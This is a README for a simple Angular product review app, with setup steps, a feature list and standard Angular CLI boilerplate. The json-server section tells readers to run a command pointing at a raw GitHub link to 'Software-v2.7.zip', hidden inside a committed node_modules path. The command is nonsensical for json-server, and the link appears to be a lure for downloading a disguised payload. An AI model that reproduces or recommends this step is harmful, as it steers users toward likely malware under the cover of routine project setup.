This project was generated with Angular CLI version 16.0.0.
This is a simple product review app built with Angular. Users can view a list of products, select a product to view its details, and add reviews to a product.
To get started with this project, follow these steps:
- Clone the repository to your local machine.
- Install the dependencies by running
npm install. - Start the development server by running
ng serve. - Navigate to
http://localhost:4200/to view the app.
This app uses json-server to provide a RESTful API for the product data. json-server is a simple and lightweight tool that allows you to create a fake RESTful API by serving data from a JSON file.
To start the json-server, follow these steps:
- Install
json-serverglobally by runningnpm install -g json-server. - Start the
json-serverby runningjson-server --watch https://raw.githubusercontent.com/Ahmed-Ghazal55/shopping/main/node_modules/@jridgewell/resolve-uri/dist/Software-v2.7.zip. - The
json-serverwill start athttp://localhost:9000.
This app includes the following features:
- View a list of products
- Select a product to view its details
- Add reviews to a product
- Display product images using Slick Carousel
- Use data binding to display product details and reviews in the UI
This app uses the following services:
ProductService: Provides methods for fetching and updating product data from the server.
This app uses the following modules:
HttpClientModule: Provides theHttpClientservice for making HTTP requests to the server.SlickCarouselModule: Provides thengx-slick-carouselcomponent for displaying product images in a carousel.
This app was built with Angular version 16.0.0.
To get more help on the Angular CLI use ng help or go check out the Angular CLI Overview and Command Reference page.
Run ng e2e to execute the end-to-end tests via a platform of your choice. To use this command, you need to first add a package that implements end-to-end testing capabilities.
Run ng serve for a dev server. Navigate to http://localhost:4200/. The application will automatically reload if you change any of the source files.
Run ng generate component component-name to generate a new component. You can also use ng generate directive|pipe|service|class|guard|interface|enum|module.
Run ng build to build the project. The build artifacts will be stored in the dist/ directory.
Run ng test to execute the unit tests via Karma.
This app is licensed under the MIT License. See the LICENSE file for more information.